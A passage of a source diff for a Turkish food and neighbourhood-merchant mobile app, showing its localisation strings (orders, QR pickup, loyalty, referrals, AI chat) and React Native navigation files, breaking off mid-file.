"slide2Title": "Mahalleni Kesfet",
|
||||||
|
"slide2Desc": "Yakinindaki firin, manav, kasap, berber ve daha fazlasini bul. Sadakat puani biriktir, odul kazan.",
|
||||||
|
"slide3Title": "Hemen Basla",
|
||||||
|
"slide3Desc": "Konumunu paylas, yakinindaki surpriz paketleri ve esnaflari kesfet!",
|
||||||
|
"locationLabel": "Konum",
|
||||||
|
"locationDesc": "Yakinindaki paketleri goster",
|
||||||
|
"notificationLabel": "Bildirimler",
|
||||||
|
"notificationDesc": "Firsatlardan haberdar ol",
|
||||||
|
"skip": "Atla",
|
||||||
|
"next": "Ileri →",
|
||||||
|
"start": "Basla",
|
||||||
|
"micLabel": "Mikrofon",
|
||||||
|
"micDesc": "AI asistanla konusmak icin",
|
||||||
|
"cameraLabel": "Kamera",
|
||||||
|
"cameraDesc": "QR kod ve fotograf icin"
|
||||||
|
},
|
||||||
|
"locationPicker": {
|
||||||
|
"title": "Konum Sec",
|
||||||
|
"useMyLocation": "Konumumu Kullan",
|
||||||
|
"confirm": "Onayla",
|
||||||
|
"permissionRequired": "Konum Izni Gerekli",
|
||||||
|
"permissionMessage": "Ayarlardan konum iznini acin.",
|
||||||
|
"gpsError": "GPS Sinyali Alinamadi",
|
||||||
|
"gpsErrorMessage": "Acik alanda tekrar deneyin veya haritadan pin ile secin."
|
||||||
|
},
|
||||||
|
"packages": {
|
||||||
|
"deliveryAddress": "Teslimat adresi",
|
||||||
|
"selectLocation": "Konum sec",
|
||||||
|
"searchPlaceholder": "Paket veya magaza ara...",
|
||||||
|
"sortLabel": "Siralama",
|
||||||
|
"sortDistance": "Mesafe",
|
||||||
|
"sortPrice": "Fiyat",
|
||||||
|
"sortRating": "Puan",
|
||||||
|
"delivery": "Teslimat",
|
||||||
|
"discounted": "Indirimli",
|
||||||
|
"lastFew": "Son birkac",
|
||||||
|
"priceRange": "Fiyat Araligi",
|
||||||
|
"referralBannerTitle": "Davet Et & Kazan",
|
||||||
|
"referralBannerDesc": "Arkadasini getir, puan kazan!",
|
||||||
|
"categoryAll": "Tumu",
|
||||||
|
"categoryBakery": "Firin",
|
||||||
|
"categoryRestaurant": "Restoran",
|
||||||
|
"categoryPastry": "Pastane",
|
||||||
|
"categoryMarket": "Market",
|
||||||
|
"nearbyPackages": "Yakinindaki Paketler",
|
||||||
|
"categoryPackages": "{{category}} Paketleri",
|
||||||
|
"packageCount": "{{count}} paket",
|
||||||
|
"emptyTitle": "Yakininda paket yok",
|
||||||
|
"emptyText": "Mesafeyi artir veya \"Tumu\" secenegini dene",
|
||||||
|
"notificationPermission": "Bildirim Izni",
|
||||||
|
"notificationPermissionMsg": "Bildirimlere izin vermeniz gerekiyor. Ayarlardan izin verebilirsiniz.",
|
||||||
|
"notificationsEnabled": "Bildirimler Acildi",
|
||||||
|
"notificationsEnabledMsg": "Yeni paketler ve kampanyalardan haberdar olacaksiniz!",
|
||||||
|
"notificationRegisterFailed": "Bildirim kaydi basarisiz."
|
||||||
|
},
|
||||||
|
"packageDetail": {
|
||||||
|
"title": "Paket Detay",
|
||||||
|
"notFound": "Paket bulunamadi",
|
||||||
|
"loadError": "Paket bilgileri yuklenemedi",
|
||||||
|
"description": "Aciklama",
|
||||||
|
"details": "Detaylar",
|
||||||
|
"priceLabel": "Fiyat",
|
||||||
|
"pickupTime": "Teslim Saati",
|
||||||
|
"remaining": "Kalan Adet",
|
||||||
|
"status": "Durum",
|
||||||
|
"statusActive": "Aktif",
|
||||||
|
"statusSoldOut": "Tukendi",
|
||||||
|
"statusExpired": "Suresi Doldu",
|
||||||
|
"deliveryMethod": "Teslim Yontemi",
|
||||||
|
"pickup": "Gel Al",
|
||||||
|
"deliveryToAddress": "Adrese Getirt",
|
||||||
|
"deliveryAddressPlaceholder": "Teslimat adresinizi girin",
|
||||||
|
"deliveryAddressRequired": "Teslimat adresi giriniz",
|
||||||
|
"total": "Toplam",
|
||||||
|
"purchasing": "Siparis Veriliyor...",
|
||||||
|
"purchase": "Satin Al",
|
||||||
|
"orderCreated": "Siparis Olusturuldu",
|
||||||
|
"orderCreatedMsg": "Siparis #{{orderId}}\nToplam: {{price}} TL\n\nOdeme sayfasina yonlendiriliyorsunuz.",
|
||||||
|
"viewOrder": "Siparisi Gor",
|
||||||
|
"orderFailed": "Siparis olusturulamadi. Tekrar deneyin.",
|
||||||
|
"discount": "%{{percent}} Indirim"
|
||||||
|
},
|
||||||
|
"orders": {
|
||||||
|
"title": "Siparislerim",
|
||||||
|
"orderCount": "{{count}} siparis",
|
||||||
|
"qrPickup": "QR Teslim",
|
||||||
|
"tabPackages": "Paket",
|
||||||
|
"tabMeals": "Komsu Yemegi",
|
||||||
|
"emptyPackagesTitle": "Henuz paket siparisiz yok",
|
||||||
|
"emptyPackagesText": "Paketler sekmesinden ilk siparisizini verin",
|
||||||
|
"emptyMealsTitle": "Henuz yemek siparisiz yok",
|
||||||
|
"emptyMealsText": "Komsu sekmesinden ev yemegi siparis edin",
|
||||||
|
"statusPending": "Bekliyor",
|
||||||
|
"statusPaid": "Odendi",
|
||||||
|
"statusPickedUp": "Teslim Alindi",
|
||||||
|
"statusCancelled": "Iptal Edildi",
|
||||||
|
"statusRefunded": "Iade Edildi",
|
||||||
|
"statusAccepted": "Kabul Edildi",
|
||||||
|
"statusRejected": "Reddedildi",
|
||||||
|
"statusCompleted": "Tamamlandi",
|
||||||
|
"mealOrderBadge": "Komsu Yemegi",
|
||||||
|
"portions": "{{count}} porsiyon"
|
||||||
|
},
|
||||||
|
"orderDetail": {
|
||||||
|
"backLabel": "Geri",
|
||||||
|
"notFound": "Siparis bulunamadi",
|
||||||
|
"loadError": "Siparis bilgileri yuklenemedi",
|
||||||
|
"pickupCode": "Teslim Alma Kodu",
|
||||||
|
"tokenLabel": "Token",
|
||||||
|
"qrHint": "Bu QR kodu magaza calisanina gosterin",
|
||||||
|
"orderDetails": "Siparis Detaylari",
|
||||||
|
"orderNo": "Siparis No",
|
||||||
|
"quantity": "Adet",
|
||||||
|
"unitPrice": "Birim Fiyat",
|
||||||
|
"total": "Toplam",
|
||||||
|
"date": "Tarih",
|
||||||
|
"paymentDate": "Odeme Tarihi",
|
||||||
|
"pickupDate": "Teslim Tarihi",
|
||||||
|
"cancelDate": "Iptal Tarihi",
|
||||||
|
"cancelling": "Iptal Ediliyor...",
|
||||||
|
"cancelOrder": "Siparisi Iptal Et",
|
||||||
|
"cancelTitle": "Siparis Iptali",
|
||||||
|
"cancelMessage": "Bu siparisi iptal etmek istediginizden emin misiniz?",
|
||||||
|
"cancelConfirm": "Iptal Et",
|
||||||
|
"cancelSuccess": "Siparisiniz iptal edildi",
|
||||||
|
"cancelFailed": "Siparis iptal edilemedi",
|
||||||
|
"reviewButton": "Yorum Yap",
|
||||||
|
"reviewTitle": "Deneyiminizi Puanlayin",
|
||||||
|
"reviewPlaceholder": "Yorumunuz (istege bagli)",
|
||||||
|
"reviewSubmitting": "Gonderiliyor...",
|
||||||
|
"reviewSubmit": "Gonder",
|
||||||
|
"reviewRatingRequired": "Lutfen bir puan secin",
|
||||||
|
"reviewSuccess": "Yorumunuz kaydedildi!",
|
||||||
|
"reviewSuccessTitle": "Tesekkurler",
|
||||||
|
"reviewFailed": "Yorum gonderilemedi",
|
||||||
|
"reviewDone": "Yorumunuz kaydedildi. Tesekkurler!"
|
||||||
|
},
|
||||||
|
"mealOrderDetail": {
|
||||||
|
"qrHint": "Bu QR kodu yemek sahibine gosterin",
|
||||||
|
"portionLabel": "Porsiyon",
|
||||||
|
"orderDate": "Siparis Tarihi",
|
||||||
|
"acceptDate": "Kabul Tarihi",
|
||||||
|
"deliveryDate": "Teslim Tarihi",
|
||||||
|
"cancelDate": "Iptal Tarihi"
|
||||||
|
},
|
||||||
|
"qrScan": {
|
||||||
|
"title": "QR Teslim Al",
|
||||||
|
"verifying": "Dogrulaniyorum...",
|
||||||
|
"scanPrompt": "QR Kodu Okutun",
|
||||||
|
"instructions": "Siparisinizi teslim alirken magazadaki QR kodu kameranizla okutun",
|
||||||
|
"successTitle": "Teslim Alindi!",
|
||||||
|
"successMessage": "Siparis #{{orderId}} basariyla teslim alindi.\n\nToplam: {{price}} TL",
|
||||||
|
"errorMessage": "QR kod dogrulanamadi. Tekrar deneyin.",
|
||||||
|
"retryButton": "Tekrar Dene"
|
||||||
|
},
|
||||||
|
"search": {
|
||||||
|
"placeholder": "Paket, magaza veya kategori ara...",
|
||||||
|
"popularCategories": "Populer Kategoriler",
|
||||||
|
"popularSearches": "Populer Aramalar",
|
||||||
|
"resultCount": "{{count}} sonuc bulundu",
|
||||||
|
"emptyTitle": "Sonuc bulunamadi",
|
||||||
|
"emptyText": "Farkli bir arama terimi deneyin"
|
||||||
|
},
|
||||||
|
"meals": {
|
||||||
|
"title": "Komsu Yemekleri",
|
||||||
|
"subtitle": "Ev yapimi, taze, guvenilir",
|
||||||
|
"searchPlaceholder": "Yemek veya asci ara...",
|
||||||
|
"nearbyMeals": "Yakinindaki Yemekler",
|
||||||
|
"mealCount": "{{count}} yemek",
|
||||||
|
"pickup": "Gel Al",
|
||||||
|
"delivery": "Teslimat",
|
||||||
|
"pickupOrDelivery": "Gel Al / Teslimat",
|
||||||
|
"lastPortions": "Son {{count}}!",
|
||||||
|
"perPortion": "/ porsiyon",
|
||||||
|
"portionCount": "{{count}} porsiyon",
|
||||||
|
"emptyTitle": "Yakininda ev yemegi yok",
|
||||||
|
"emptyText": "Mesafeyi artir veya daha sonra tekrar bak"
|
||||||
|
},
|
||||||
|
"mealDetail": {
|
||||||
|
"title": "Yemek Detay",
|
||||||
|
"notFound": "Yemek bulunamadi",
|
||||||
|
"defaultCook": "Asci",
|
||||||
|
"priceLabel": "Fiyat",
|
||||||
|
"pricePerPortion": "{{price}} TL / porsiyon",
|
||||||
|
"availableUntil": "Musait",
|
||||||
|
"availableUntilValue": "{{time}}'e kadar",
|
||||||
|
"remainingLabel": "Kalan",
|
||||||
|
"remainingValue": "{{remaining}} / {{total}} porsiyon",
|
||||||
|
"deliveryLabel": "Teslim",
|
||||||
|
"pickup": "Gel Al",
|
||||||
|
"deliveryToAddress": "Adrese Teslimat",
|
||||||
|
"pickupOrDelivery": "Gel Al / Teslimat",
|
||||||
|
"portionLabel": "Porsiyon",
|
||||||
|
"total": "Toplam",
|
||||||
|
"ordering": "Siparis Veriliyor...",
|
||||||
|
"soldOut": "Tukendi",
|
||||||
|
"order": "Siparis Ver",
|
||||||
|
"orderSuccess": "Siparis Verildi!",
|
||||||
|
"orderSuccessMsg": "Siparis #{{orderId}}\n{{portions}} porsiyon {{title}}\nToplam: {{total}} TL\n\nAsci onayladiktan sonra bilgilendirileceksiniz.",
|
||||||
|
"orderFailed": "Siparis olusturulamadi."
|
||||||
|
},
|
||||||
|
"merchants": {
|
||||||
|
"title": "Mahalle Esnafi",
|
||||||
|
"subtitle": "Puan biriktir, odul kazan",
|
||||||
|
"searchPlaceholder": "Esnaf veya magaza ara...",
|
||||||
|
"categoryAll": "Tumu",
|
||||||
|
"categoryBarber": "Berber",
|
||||||
|
"categoryCafe": "Kafe",
|
||||||
|
"categoryButcher": "Kasap",
|
||||||
|
"categoryGreengrocer": "Manav",
|
||||||
|
"categoryBakery": "Firin",
|
||||||
|
"categoryPharmacy": "Eczane",
|
||||||
|
"categoryTailor": "Terzi",
|
||||||
|
"categoryOther": "Diger",
|
||||||
|
"nearbyMerchants": "Yakinindaki Esnaflar",
|
||||||
|
"merchantCount": "{{count}} esnaf",
|
||||||
|
"proPlan": "Pro Esnaf",
|
||||||
|
"businessPlan": "Business",
|
||||||
|
"emptyTitle": "Yakininda esnaf bulunamadi",
|
||||||
|
"emptyText": "Mesafeyi artir veya baska bir kategori dene"
|
||||||
|
},
|
||||||
|
"merchantDetail": {
|
||||||
|
"notFound": "Esnaf bulunamadi",
|
||||||
|
"phoneNotRegistered": "Telefon numarasi kayitli degil.",
|
||||||
|
"services": "Hizmetler",
|
||||||
|
"products": "Urunler",
|
||||||
|
"surprisePackages": "Surpriz Paketler",
|
||||||
|
"buyButton": "Satin Al",
|
||||||
|
"loyaltyProgram": "Sadakat Programi",
|
||||||
|
"loyaltyJoinHint": "Ilk ziyaretinde otomatik katilirsin",
|
||||||
|
"contact": "Iletisim",
|
||||||
|
"callSuffix": "Ara",
|
||||||
|
"appointmentTitle": "Randevu Al",
|
||||||
|
"appointmentTimes": "Yarin icin uygun saatler:",
|
||||||
|
"appointmentCreated": "Randevu Olusturuldu!",
|
||||||
|
"appointmentCreatedMsg": "{{service}}\n{{date}} saat {{time}}\n\nEsnaf onayladiginda bilgilendirileceksiniz.",
|
||||||
|
"appointmentFailed": "Randevu olusturulamadi.",
|
||||||
|
"orderCreated": "Siparis Olusturuldu!",
|
||||||
|
"orderFailed": "Siparis olusturulamadi",
|
||||||
|
"callAndOrder": "Ara ve Siparis Ver",
|
||||||
|
"closeButton": "Kapat"
|
||||||
|
},
|
||||||
|
"profile": {
|
||||||
|
"title": "Hesabim",
|
||||||
|
"defaultUser": "Kullanici",
|
||||||
|
"editHint": "Duzenle",
|
||||||
|
"editNameTitle": "Isminizi Duzenleyin",
|
||||||
|
"namePlaceholder": "Adiniz",
|
||||||
|
"nameRequired": "Isim bos olamaz",
|
||||||
|
"nameUpdateFailed": "Isim guncellenemedi",
|
||||||
|
"ordersLabel": "Siparislerim",
|
||||||
|
"appointmentsLabel": "Randevularim",
|
||||||
|
"loyaltyLabel": "Sadakat",
|
||||||
|
"discoverLabel": "Kesfet",
|
||||||
|
"surprisePackages": "Surpriz Paketler",
|
||||||
|
"surprisePackagesDesc": "Yakinindaki indirimli paketler",
|
||||||
|
"neighborhoodMerchants": "Mahalle Esnafi",
|
||||||
|
"neighborhoodMerchantsDesc": "Puan biriktir, odul kazan",
|
||||||
|
"securityLabel": "Guvenlik",
|
||||||
|
"changePassword": "Sifre Degistir",
|
||||||
|
"supportLabel": "Destek",
|
||||||
|
"faq": "Sikca Sorulan Sorular",
|
||||||
|
"faqDesc": "18 SSS - gercek cevaplar",
|
||||||
|
"contactLabel": "Iletisim",
|
||||||
|
"contactEmail": "destek@bereketli.app",
|
||||||
|
"website": "Web Sitesi",
|
||||||
|
"websiteUrl": "bereketli.pezkiwi.app",
|
||||||
|
"version": "Versiyon",
|
||||||
|
"logout": "Cikis Yap",
|
||||||
|
"logoutConfirm": "Cikis yapmak istediginizden emin misiniz?",
|
||||||
|
"logoutCancel": "Iptal",
|
||||||
|
"deleteAccount": "Hesabimi Sil",
|
||||||
|
"deleteAccountDesc": "Bu islem geri alinamaz",
|
||||||
|
"deleteAccountConfirm": "Bu islem geri alinamaz. Hesabiniz ve tum verileriniz kalici olarak silinecektir.",
|
||||||
|
"deleteAccountButton": "Hesabimi Sil",
|
||||||
|
"deleteAccountFailed": "Hesap silinemedi. Tekrar deneyin.",
|
||||||
|
"language": "Dil",
|
||||||
|
"selectLanguage": "Dil Secin"
|
||||||
|
},
|
||||||
|
"changePassword": {
|
||||||
|
"title": "Sifre Degistir",
|
||||||
|
"subtitle": "Guvenliginiz icin mevcut sifrenizi girin",
|
||||||
|
"currentPassword": "Mevcut Sifre",
|
||||||
|
"currentPasswordPlaceholder": "Mevcut sifreniz",
|
||||||
|
"newPassword": "Yeni Sifre",
|
||||||
|
"newPasswordPlaceholder": "En az 8 karakter",
|
||||||
|
"confirmPassword": "Yeni Sifre Tekrar",
|
||||||
|
"confirmPasswordPlaceholder": "Yeni sifrenizi tekrarlayin",
|
||||||
|
"changing": "Degistiriliyor...",
|
||||||
|
"change": "Sifreyi Degistir",
|
||||||
|
"allFieldsRequired": "Tum alanlari doldurun",
|
||||||
|
"passwordMinLength": "Yeni sifre en az 8 karakter olmali",
|
||||||
|
"passwordMismatch": "Yeni sifreler eslesmiyor",
|
||||||
|
"success": "Sifreniz degistirildi",
|
||||||
|
"successTitle": "Basarili",
|
||||||
|
"failed": "Sifre degistirilemedi. Mevcut sifrenizi kontrol edin."
|
||||||
|
},
|
||||||
|
"faq": {
|
||||||
|
"title": "Sikca Sorulan Sorular",
|
||||||
|
"categoryAll": "Tumu",
|
||||||
|
"categoryGenel": "Genel",
|
||||||
|
"categoryCustomers": "Musteriler",
|
||||||
|
"categoryBusinesses": "Isletmeler",
|
||||||
|
"categoryPayment": "Odeme",
|
||||||
|
"empty": "Henuz SSS eklenmemis"
|
||||||
|
},
|
||||||
|
"appointments": {
|
||||||
|
"title": "Randevularim",
|
||||||
|
"statusPending": "Bekliyor",
|
||||||
|
"statusConfirmed": "Onaylandi",
|
||||||
|
"statusCompleted": "Tamamlandi",
|
||||||
|
"statusCancelled": "Iptal",
|
||||||
|
"statusNoShow": "Gelmedi",
|
||||||
|
"cancelTitle": "Randevu Iptal",
|
||||||
|
"cancelMessage": "Bu randevuyu iptal etmek istediginizden emin misiniz?",
|
||||||
|
"cancelConfirm": "Iptal Et",
|
||||||
|
"cancelFailed": "Randevu iptal edilemedi.",
|
||||||
|
"durationMin": "{{min}} dk",
|
||||||
|
"emptyTitle": "Henuz randevunuz yok",
|
||||||
|
"emptyText": "Esnaf sekmesinden berber veya terzi'ye randevu alabilirsiniz",
|
||||||
|
"days": {
|
||||||
|
"sunday": "Pazar",
|
||||||
|
"monday": "Pazartesi",
|
||||||
|
"tuesday": "Sali",
|
||||||
|
"wednesday": "Carsamba",
|
||||||
|
"thursday": "Persembe",
|
||||||
|
"friday": "Cuma",
|
||||||
|
"saturday": "Cumartesi"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"loyalty": {
|
||||||
|
"title": "Sadakat Kartlarim",
|
||||||
|
"stampUnit": "pul",
|
||||||
|
"pointUnit": "puan",
|
||||||
|
"visitUnit": "ziyaret",
|
||||||
|
"redeemButton": "Odul Al",
|
||||||
|
"notReady": "Henuz hazir degil",
|
||||||
|
"notReadyMsg": "Odulunuzu almak icin {{progress}} tamamlayin.",
|
||||||
|
"redeemTitle": "Odul Al",
|
||||||
|
"redeemMessage": "{{reward}}\n\nOdulunuzu almak istiyor musunuz?",
|
||||||
|
"redeemSuccess": "Tebrikler!",
|
||||||
|
"redeemSuccessMsg": "Odulunuz kullanildi.",
|
||||||
|
"redeemFailed": "Odul alinamadi",
|
||||||
|
"lastVisit": "Son ziyaret: {{date}}",
|
||||||
|
"emptyTitle": "Henuz sadakat kartiniz yok",
|
||||||
|
"emptyText": "Mahalle esnaflarindan alisveris yaparak puan biriktirin",
|
||||||
|
"exploreMerchants": "Esnaf Kesfet"
|
||||||
|
},
|
||||||
|
"chat": {
|
||||||
|
"title": "Bereketli AI",
|
||||||
|
"placeholder": "Mesajinizi yazin...",
|
||||||
|
"greeting": "Merhaba! Ben Bereketli asistaniyim. Size nasil yardimci olabilirim?",
|
||||||
|
"typing": "yaziyor...",
|
||||||
|
"error": "Yanit alinamadi, tekrar deneyin",
|
||||||
|
"suggestPackages": "Yakinimdaki paketler",
|
||||||
|
"suggestFood": "Ne yiyebilirim?",
|
||||||
|
"suggestStore": "Magaza oner",
|
||||||
|
"suggestHez": "HEZ Coin nedir?",
|
||||||
|
"listening": "Dinliyorum...",
|
||||||
|
"voiceError": "Ses tanima basarisiz, tekrar deneyin",
|
||||||
|
"holdToTalk": "Basili tutup konusun"
|
||||||
|
},
|
||||||
|
"referral": {
|
||||||
|
"title": "Davet Et & Kazan",
|
||||||
|
"totalPoints": "Toplam Puanin",
|
||||||
|
"pointsUnit": "puan",
|
||||||
|
"inviteLabel": "Davet",
|
||||||
|
"completedLabel": "Tamamlanan",
|
||||||
|
"earnedLabel": "Kazanilan",
|
||||||
|
"codeTitle": "Davet Kodun",
|
||||||
|
"copy": "Kopyala",
|
||||||
|
"copied": "Kopyalandi",
|
||||||
|
"copiedMsg": "Davet kodun: {{code}}",
|
||||||
|
"whatsappShare": "WhatsApp ile Paylas",
|
||||||
|
"share": "Paylas",
|
||||||
|
"shareText": "Bereketli'ye katil, birlikte kazanalim! Davet kodum: {{code}}\nhttps://bereketli.pezkiwi.app/davet/{{code}}",
|
||||||
|
"howItWorks": "Nasil Calisir?",
|
||||||
|
"step1Title": "Arkadasin kayit olur",
|
||||||
|
"step1Desc": "{{points}}+ puan kazan",
|
||||||
|
"step2Title": "Ilk siparisini verir",
|
||||||
|
"step2Desc": "100 puan kazan",
|
||||||
|
"step3Title": "Ne kadar cok davet",
|
||||||
|
"step3Desc": "O kadar cok puan!",
|
||||||
|
"usePoints": "Puanlarini Kullan",
|
||||||
|
"usePoints1Title": "Paketlerde indirim",
|
||||||
|
"usePoints1Desc": "Magazalarin belirledigi teklifler",
|
||||||
|
"usePoints2Title": "HEZ Coin'e cevir",
|
||||||
|
"usePoints2Desc": "Yakinda",
|
||||||
|
"historyTitle": "Davet Gecmisi",
|
||||||
|
"historyEmpty": "Henuz davetiniz yok",
|
||||||
|
"historyEmptyText": "Kodunuzu paylasin ve puan kazanmaya baslayin"
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,77 @@
|
|||||||
|
import React, {useEffect, useState} from 'react';
|
||||||
|
import {NavigationContainer} from '@react-navigation/native';
|
||||||
|
import {useAuthStore} from '../store/authStore';
|
||||||
|
import AuthNavigator from './AuthNavigator';
|
||||||
|
import MainTabNavigator from './MainTabNavigator';
|
||||||
|
import SplashScreen from '../screens/SplashScreen';
|
||||||
|
import OnboardingScreen, {ONBOARDING_KEY} from '../screens/OnboardingScreen';
|
||||||
|
import AiChatScreen from '../screens/chat/AiChatScreen';
|
||||||
|
import AsyncStorage from '@react-native-async-storage/async-storage';
|
||||||
|
import {View} from 'react-native';
|
||||||
|
import {loadSavedLanguage} from '../i18n';
|
||||||
|
|
||||||
|
const AI_WELCOME_KEY = '@bereketli_ai_welcomed';
|
||||||
|
|
||||||
|
export default function AppNavigator() {
|
||||||
|
const {isLoggedIn, isLoading, checkAuth} = useAuthStore();
|
||||||
|
const [showSplash, setShowSplash] = useState(true);
|
||||||
|
const [showOnboarding, setShowOnboarding] = useState<boolean | null>(null);
|
||||||
|
const [showAiWelcome, setShowAiWelcome] = useState<boolean | null>(null);
|
||||||
|
const [langReady, setLangReady] = useState(false);
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
loadSavedLanguage().finally(() => setLangReady(true));
|
||||||
|
checkAuth();
|
||||||
|
AsyncStorage.getItem(ONBOARDING_KEY).then(val => {
|
||||||
|
setShowOnboarding(val !== 'true');
|
||||||
|
});
|
||||||
|
AsyncStorage.getItem(AI_WELCOME_KEY).then(val => {
|
||||||
|
setShowAiWelcome(val !== 'true');
|
||||||
|
});
|
||||||
|
}, [checkAuth]);
|
||||||
|
|
||||||
|
if (!langReady) {
|
||||||
|
return <View style={{flex: 1, backgroundColor: '#2D5016'}} />;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (showSplash) {
|
||||||
|
return <SplashScreen onFinish={() => setShowSplash(false)} />;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (showOnboarding === null || showAiWelcome === null || isLoading) {
|
||||||
|
return <View style={{flex: 1, backgroundColor: '#F8F8F8'}} />;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (showOnboarding) {
|
||||||
|
return <OnboardingScreen onFinish={() => setShowOnboarding(false)} />;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!isLoggedIn) {
|
||||||
|
return (
|
||||||
|
<NavigationContainer>
|
||||||
|
<AuthNavigator />
|
||||||
|
</NavigationContainer>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
// First time after login — show AI welcome
|
||||||
|
if (showAiWelcome) {
|
||||||
|
return (
|
||||||
|
<AiChatScreen
|
||||||
|
navigation={{
|
||||||
|
goBack: async () => {
|
||||||
|
await AsyncStorage.setItem(AI_WELCOME_KEY, 'true');
|
||||||
|
setShowAiWelcome(false);
|
||||||
|
},
|
||||||
|
} as never}
|
||||||
|
route={{} as never}
|
||||||
|
/>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
return (
|
||||||
|
<NavigationContainer>
|
||||||
|
<MainTabNavigator />
|
||||||
|
</NavigationContainer>
|
||||||
|
);
|
||||||
|
}
|
||||||
@@ -0,0 +1,23 @@
|
|||||||
|
import React from 'react';
|
||||||
|
import {createNativeStackNavigator} from '@react-navigation/native-stack';
|
||||||
|
import LoginScreen from '../screens/auth/LoginScreen';
|
||||||
|
import RegisterScreen from '../screens/auth/RegisterScreen';
|
||||||
|
|
||||||
|
export type AuthStackParamList = {
|
||||||
|
Login: undefined;
|
||||||
|
Register: undefined;
|
||||||
|
};
|
||||||
|
|
||||||
|
const Stack = createNativeStackNavigator<AuthStackParamList>();
|
||||||
|
|
||||||
|
export default function AuthNavigator() {
|
||||||
|
return (
|
||||||
|
<Stack.Navigator
|
||||||
|
screenOptions={{
|
||||||
|
headerShown: false,
|
||||||
|
}}>
|
||||||
|
<Stack.Screen name="Login" component={LoginScreen} />
|
||||||
|
<Stack.Screen name="Register" component={RegisterScreen} />
|
||||||
|
</Stack.Navigator>
|
||||||
|
);
|
||||||
|
}
|
||||||
@@ -0,0 +1,270 @@
|
|||||||
|
import React from 'react';
|
||||||
|
import {createBottomTabNavigator} from '@react-navigation/bottom-tabs';
|
||||||
|
import {createNativeStackNavigator} from '@react-navigation/native-stack';
|
||||||
|
import {View, StyleSheet} from 'react-native';
|
||||||
|
import {useSafeAreaInsets} from 'react-native-safe-area-context';
|
||||||
|
import Icon from 'react-native-vector-icons/MaterialCommunityIcons';
|
||||||
|
import {useTranslation} from 'react-i18next';
|
||||||
|
import {colors} from '../theme';
|
||||||
|
|
||||||
|
// Yemek screens
|
||||||
|
import YemekMapScreen from '../screens/yemek/YemekMapScreen';
|
||||||
|
import PackageDetailScreen from '../screens/yemek/PackageDetailScreen';
|
||||||
|
// Komsu screens
|
||||||
|
import KomsuListScreen from '../screens/komsu/KomsuListScreen';
|
||||||
|
import MealDetailScreen from '../screens/komsu/MealDetailScreen';
|
||||||
|
// Orders screens
|
||||||
|
import OrdersScreen from '../screens/yemek/OrdersScreen';
|
||||||
|
import OrderDetailScreen from '../screens/yemek/OrderDetailScreen';
|
||||||
|
import QrScanScreen from '../screens/yemek/QrScanScreen';
|
||||||
|
import MealOrderDetailScreen from '../screens/yemek/MealOrderDetailScreen';
|
||||||
|
import SearchScreen from '../screens/yemek/SearchScreen';
|
||||||
|
import LocationPickerScreen from '../screens/LocationPickerScreen';
|
||||||
|
// Esnaf screens
|
||||||
|
import EsnafMapScreen from '../screens/esnaf/EsnafMapScreen';
|
||||||
|
import MerchantDetailScreen from '../screens/esnaf/MerchantDetailScreen';
|
||||||
|
// Profil screens
|
||||||
|
import ProfileScreen from '../screens/profile/ProfileScreen';
|
||||||
|
import ChangePasswordScreen from '../screens/profile/ChangePasswordScreen';
|
||||||
|
import FaqScreen from '../screens/profile/FaqScreen';
|
||||||
|
import AppointmentsScreen from '../screens/profile/AppointmentsScreen';
|
||||||
|
import LoyaltyCardsScreen from '../screens/profile/LoyaltyCardsScreen';
|
||||||
|
import ReferralScreen from '../screens/profile/ReferralScreen';
|
||||||
|
import AiChatScreen from '../screens/chat/AiChatScreen';
|
||||||
|
|
||||||
|
// ── Stack Param Lists ────────────────────────────
|
||||||
|
export type YemekStackParamList = {
|
||||||
|
YemekMap: undefined;
|
||||||
|
PackageDetail: {packageId: string; storeName?: string; storeAddress?: string};
|
||||||
|
OrderDetail: {orderId: string};
|
||||||
|
LocationPicker: undefined;
|
||||||
|
Search: undefined;
|
||||||
|
Referral: undefined;
|
||||||
|
AiChat: undefined;
|
||||||
|
};
|
||||||
|
|
||||||
|
export type KomsuStackParamList = {
|
||||||
|
KomsuList: undefined;
|
||||||
|
MealDetail: {mealId: string; cookName?: string};
|
||||||
|
AiChat: undefined;
|
||||||
|
};
|
||||||
|
|
||||||
|
export type OrdersStackParamList = {
|
||||||
|
OrdersMain: undefined;
|
||||||
|
OrderDetail: {orderId: string};
|
||||||
|
MealOrderDetail: {order: any};
|
||||||
|
QrScan: undefined;
|
||||||
|
};
|
||||||
|
|
||||||
|
export type EsnafStackParamList = {
|
||||||
|
EsnafMap: undefined;
|
||||||
|
MerchantDetail: {merchantId: string};
|
||||||
|
AiChat: undefined;
|
||||||
|
};
|
||||||
|
|
||||||
|
export type ProfileStackParamList = {
|
||||||
|
ProfileMain: undefined;
|
||||||
|
ChangePassword: undefined;
|
||||||
|
Orders: undefined;
|
||||||
|
OrderDetail: {orderId: string};
|
||||||
|
YemekMap: undefined;
|
||||||
|
EsnafMap: undefined;
|
||||||
|
Faq: undefined;
|
||||||
|
Appointments: undefined;
|
||||||
|
LoyaltyCards: undefined;
|
||||||
|
Referral: undefined;
|
||||||
|
AiChat: undefined;
|
||||||
|
};
|
||||||
|
|
||||||
|
// ── Stack Navigators ────────────────────────────
|
||||||
|
|
||||||
|
const YemekStack = createNativeStackNavigator<YemekStackParamList>();
|
||||||
|
function YemekNavigator() {
|
||||||
|
return (
|
||||||
|
<YemekStack.Navigator screenOptions={{headerShown: false}}>
|
||||||
|
<YemekStack.Screen name="YemekMap" component={YemekMapScreen} />
|
||||||
|
<YemekStack.Screen name="PackageDetail" component={PackageDetailScreen} />
|
||||||
|
<YemekStack.Screen name="OrderDetail" component={OrderDetailScreen} />
|
||||||
|
<YemekStack.Screen name="LocationPicker" component={LocationPickerScreen} />
|
||||||
|
<YemekStack.Screen name="Search" component={SearchScreen} />
|
||||||
|
<YemekStack.Screen name="Referral" component={ReferralScreen} />
|
||||||
|
<YemekStack.Screen name="AiChat" component={AiChatScreen} />
|
||||||
|
</YemekStack.Navigator>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
const KomsuStack = createNativeStackNavigator<KomsuStackParamList>();
|
